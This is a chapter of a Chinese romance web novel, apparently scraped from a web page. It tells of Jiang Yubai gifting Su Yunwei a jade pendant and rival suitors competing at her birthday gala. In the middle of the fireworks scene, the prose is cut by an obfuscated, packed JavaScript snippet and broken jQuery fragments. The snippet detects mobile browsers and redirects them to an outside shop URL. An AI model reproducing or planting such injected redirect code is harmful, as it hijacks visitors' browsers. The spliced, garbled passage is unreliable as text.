28. 第 28 章

作品:《野玫瑰与忠犬

    “您好,我想打一块和匹配的金镶玉吊饰,您看看大概需要多少钱?”江逾白拿出iPad,里面装着他用3d复原出来的图像。


    对面那白发苍苍的老人皱着眉头,用手指抬了抬眼睛的镜腿:“你这是个龙凤配的龙牌啊,这个我好像很多很多年前做过一个类似的。现在这个纯净度的翡翠冰种可不好找了,即便找到,加上手工费,也不低于这个数。”


    江逾白见他竖起了三根手指,点开自己的余额再次确认了一下,立刻点了点头。


    眼前的这个老人就是当初给苏云微外婆打龙凤牌的匠人。


    他通过互联网上的蛛丝马迹找到了他,又万里迢迢地追过来,恳求久未出山的他亲手帮自己制作这对里的凤牌。


    他态度诚恳,又愿意三顾茅庐,每隔几天定然会提着礼物来上门拜访,甚至有一次来,老人的孙子吵闹要限量版的乐高,他也愣是排队八个小时去买来了。


    最后老匠人被他这份持之以恒磨到没有办法了,不得不点头答应了他的要求。


    买下这个凤牌后,他的余额就只剩下点微薄的零头了。


    即便如此,他也依旧觉得她值得更好的,只是现阶段他还尚且没有能力,等明年,等以后,他一定……


    他拿到那凤牌后,小心翼翼地将它握在手心里,翻来覆去地看着,凉丝丝的玉沾上了他的体温,也变得温热起来。


    然后他将这枚耗尽了他全部身家的玉佩里三层、外三层地包裹严实。


    每天睡醒第一件事,就是偷偷摸摸地再去确认一下它是否完好无损。


    “明天生日,我和你一起吃中饭吧,下午我要去Crown酒店妆发,晚上会有一个晚宴,快结束时我会给你发消息,到时候你到地下车库来接我。”


    每年她的生日都是江城的一次大型聚会,无数的政客商人都需要借着这场宴会的由头来认识新人、洽谈旧人,作为主角的苏云微向来只是这场社交晚宴上的装点。


    她只需要端坐在那里,看那些一年只见一次、甚至从来没有见过的陌生面孔,带着一脸谄媚的笑容走过来,对她说上几句恭维的话后,再将拐弯抹角地将话题引到她爸身上。


    醉翁之意不在酒,她即便人坐在那里,在其他人眼中,也不过是她爸的一个分身而已。


    不过也是,她现在只不过是一个游手好闲的富二代,整个光影国际的大权还是牢牢掌握在她爸手里,那些人精明得很,知道攀附她也没有用,索性寒暄两句就干脆穷图匕见。


    她最厌烦的是那些跟着父母过来的同龄人,背后不知道怎样因为嫉妒而说尽她的坏话,当面还不得不虚情假意地迎合着他们的攀谈。


    苏云微是个边界感很强的人,即便过去偶尔参加他们的聚会,她也必定要选择有自己相熟的人在的场子,否则她宁可一个人窝在家里消磨时间,也不想踏入那种乌烟瘴气的地方。


    这样没意思的聚会,还是不带他去的好。


    何况他当初窘迫之时都不肯委身于她,她便知他是清高的。


    以他的身份去那样趋炎附势的地方,那些人表面上或许会碍于她的面子赏他两个好脸色,可背地里还不知道会让他听到怎样尖锐挖苦的风言风语呢。


    她可不想到时候看到他受伤的眼神。


    江逾白听了她的话,低下头去苦笑了一下。


    转瞬即逝的,不让她看穿他真实的情绪。


    他自然知道他与她之间隔着的,岂止一个沈嘉礼。


    他与她本就归属不同阶级,她不愿将他在自己的圈层里公之于众,他也可以理解。


    那本就是他融不进去的地方,这本就是段随时会被她叫停的感情。


    只是他偶尔也难免失落,老天似乎总是在作弄他,每次当他沉浸在快乐的情绪中时,总是要给他当头一棒,警醒他不要太过得意忘形。


    让他幸福时也只能随时保持着清醒,时刻记着,这幸福是会随时消失的。


    她已经给了他太多,给不了名分,也……也没什么。


    她对他挺好的,起码现在她的身边只有他一个。


    不像有的纨绔,一间房子里养一个,想起来了就去看看玩玩,总是外面的、还没得到的更香一点。


    这还不够吗?


    江逾白,你不要太贪心了。


    苏云微一觉睡醒,江逾白已经在厨房里准备午饭了。他今天还是穿着她喜欢的白衬衫,只是不同于以往他死板到扣子全部严丝合缝地系好,此刻他胸襟大开,人鱼线在围裙下随着他的动作若隐若现。


    此等美色当前,苏云微喉咙里立刻升腾起一阵焦渴感,她走过去从背后环住了他精瘦的腰。


    江逾白感知到她出来后,立刻开始自己的计划,在她的视角盲区里偷偷将早已准备好的凤牌塞进已经开膛破肚的海鱼身子里。


    “你看,这是什么?”


    苏云微松开他的腰肢,接过他手里的东西,定睛一看,这不是“是我妈妈那块金镶玉!”


    她将它提到眼前,聚精会神观察了好一会,惊喜地问;“你是在哪里找到的?”


    “这。”江逾白翻开面前的鱼,演示给她看自己找到凤牌的过程。


    “这也太巧了!竟然是被鱼吞下去,然后又被你找到了,没想到这么小的概率都能让我们碰到!”


    江逾白第一次见她如此激动,激动到连说的话都有些语无伦次,微笑着揽过她的肩膀:“也许这就是阿姨送给你的二十岁生日礼物吧。她用这样的方式,来参加了你二十岁的生日。”


    “这么说,我妈原谅我了?”


    “或许她从来没有怪过你,可能她只是遗憾没有多陪你几年。”


    “真的吗?”


    她不敢置信,在她的视角里,一直是她的任性害死了妈妈,她已经不怪自己了吗?她原谅自己了?


    “你看,这凤牌已经回到了你的手里,说不定就是阿姨在天堂安排的,不然概率这么小的事情是怎么让我们碰上呢。她是希望你早点放下心结,别困在那个夏天了。”


    苏云微没想到,当天晚宴,一向作为吉祥物的她却真的变成了全场的焦点。


    先是江岸两侧的所有大楼灯光全部在8点准时关闭,三秒后再亮起时,竟然整齐划一地出现了“二十岁生日快乐”的字眼。


    定然是有人买下了当天夜里的所有广告大屏来向她示好。


    十一小长假晚上,来到江城江岸风景区的人流量是往日数十倍,因此这个时候的广告屏堪称天价,近十万人一同在江滩上看到了这堪称一掷千金的示爱场面。


    “苏小姐,你喜欢我送给你的生日礼物吗?”一个穿着花衬衫的男人挤到了苏云微身旁调笑道。


    “张公子上个月不是才一怒冲冠为红颜,从我妹妹手里硬抢走了一只限量款包,送给刚到手不久的女大学生吗?怎么,这么短时间就移情别恋了?”


    一个带着金项链的潮男挤到苏云微身边,对着他讥讽完,又转过脸来,换上一副柔情蜜意的深情表情,一对桃花眼笑得灿烂又勾人:“苏小姐,他这都是老掉牙的审美,不如看看我送你的礼物。”


    随着他打了一个清脆的响指,下一秒,江滩上空突然出现了一道耀眼的光芒。伴随着低沉有力的破空声,一朵色彩缤纷的玫瑰花海绽放在夜空中。


    红、粉、蓝、白的漫天流光,如同数万颗流星同时坠地,金光如雨丝般落下,这漫天绚烂又激起江滩游客的一阵欢呼雀跃。


    光影在夜空久久不散,世界变成一只巨大的漂流瓶,蓝澄澄的是上面的空气,底部积沉着星光是瓶底的流沙。


    “雕虫小技,今年的空气指数因为你又要下降几个百分点了,江滩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423247|199394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是禁燃地区,你这文盲还是把家里那几个争风吃醋的小网红安顿好吧!”


    一个穿着丝绒酒红西装、眼带泪痣的男人挤到苏云微和那个桃花眼中间,微笑着对苏云微做了个绅士礼:“苏小姐,我家刚研发出来的无人机送给你做今天的礼物,可好?”


    天空重新归于沉寂,忽然之间,数百架无人机自远洋大楼的顶端缓缓升空,金黄色的光点依次在黑夜里亮起,像是星星被人精心调整摆布过了一般。


    光影层层叠叠地散开,变成了一个巨大的生日蛋糕,蜡烛虚虚亮起,旁边突然出现一个女孩的侧影,她撅起嘴唇,缓缓吹灭了蜡烛。即便是一个粗略的侧影,也难掩女孩的美貌。


    随后,星光散开,在夜空中拉出“云微,生日快乐”的字眼,一笔一画都十分清晰,似乎将整个夜空都变成了她一个人的生日贺礼。


    下面围观的人群纷纷举起手里的手机进行拍照,交头接耳地讨论着“这是哪个霸总在追妻啊”,他们的反应为这场经久不息的狂欢提供了巨大的情绪价值。


    “你是聪明,刚得知苏沈两家解除婚约,立马把从高中就谈了六年的女朋友给踹了。”


    谁说男人不会算计?


    他们即便如今身旁、心上有人,但心里依旧门清谁是能给他们带来巨大利益的人。


    这些烧钱的浪漫举动,他们从来没对自己的枕边人做过,但却愿意不遗余力地来讨好她,原因很简单。


    一旦得到了她的青睐,能获得千百倍的回报,他们宁可放手一搏。


    富二代身边有个相伴的人不奇怪,但苏云微一向不耻他们三个的举动,若是风月场中的你情我愿也就罢了,他们三个偏偏喜欢对青涩单纯的女大学生或者刚刚步入社会的美貌姑娘下手。


    带她们去她们平时根本不敢驻足的高档餐厅,带她们去只在广告里见过的品牌店大肆消费,这些平常一件衣服都要精打细算、各方比价的女孩子,在这样的糖衣炮弹下,自然很容易迷失了自己。


    而这些男人,掠夺她们时享受着她们的崇拜和青春的肉/体,抛弃她们时享受着她们的崩溃和心碎的眼泪。


    和那些给钱给资源的互相利用不同,他们享受的,是赤裸裸消磨真心时的快感,这些是那种受过训练的风月女子没办法带给他们的快乐。


    苏云微双手抱拳冷眼旁观着眼前三个男人因为争风吃醋而变得面目狰狞,开始狗咬狗。


    他们借着酒精的威力,恨不能将对方平生所有污点都倾倒在她面前。


    言语化作利刃在他们之间飞来飞去,恨不得能用眼神将对方活剐了。


    一直到他们隐隐约约有将言语冲突转化为肢体冲突时,她才对墙边随时待命的酒侍挥了挥手:“张公子、孟公子、钱公子三位喝醉了,帮他们安排好套房,不准有任何闪失。”


    “你要是吃醋,我以后绝对不和她来往了。我这就给她发消息,断了这个关系。”


    那安排灯光秀的张公子被人拖着也不忘挣脱束缚,扑过来拉住她的肩膀表示自己的忠心。


    “我是你什么人?犯得着吃你的醋?”


    苏云微一脸嫌弃地打掉了他的咸猪手。


    “我和他不一样,我可以保证我们婚后是开放的关系,你也可以去找你心仪的人。据我所知,苏小姐身边不就有一个吗?我不介意。”


    另一个人脸上堆着儒雅和煦的笑容,凑到她耳旁低语。


    过近的距离,远远突破了苏云微能接受的界限,她被他嘴里呼出的热气激起一阵恶感,反手对着他的胸口就是一个恶狠狠的肘击。


    “我有说答应你吗,况且,他和你那几个小网红可不一样·····”


    我对他是真心的。


    苏云微的话在喉咙里戛然而止。


    她被自己无意识吐露出的心里话烫了一下。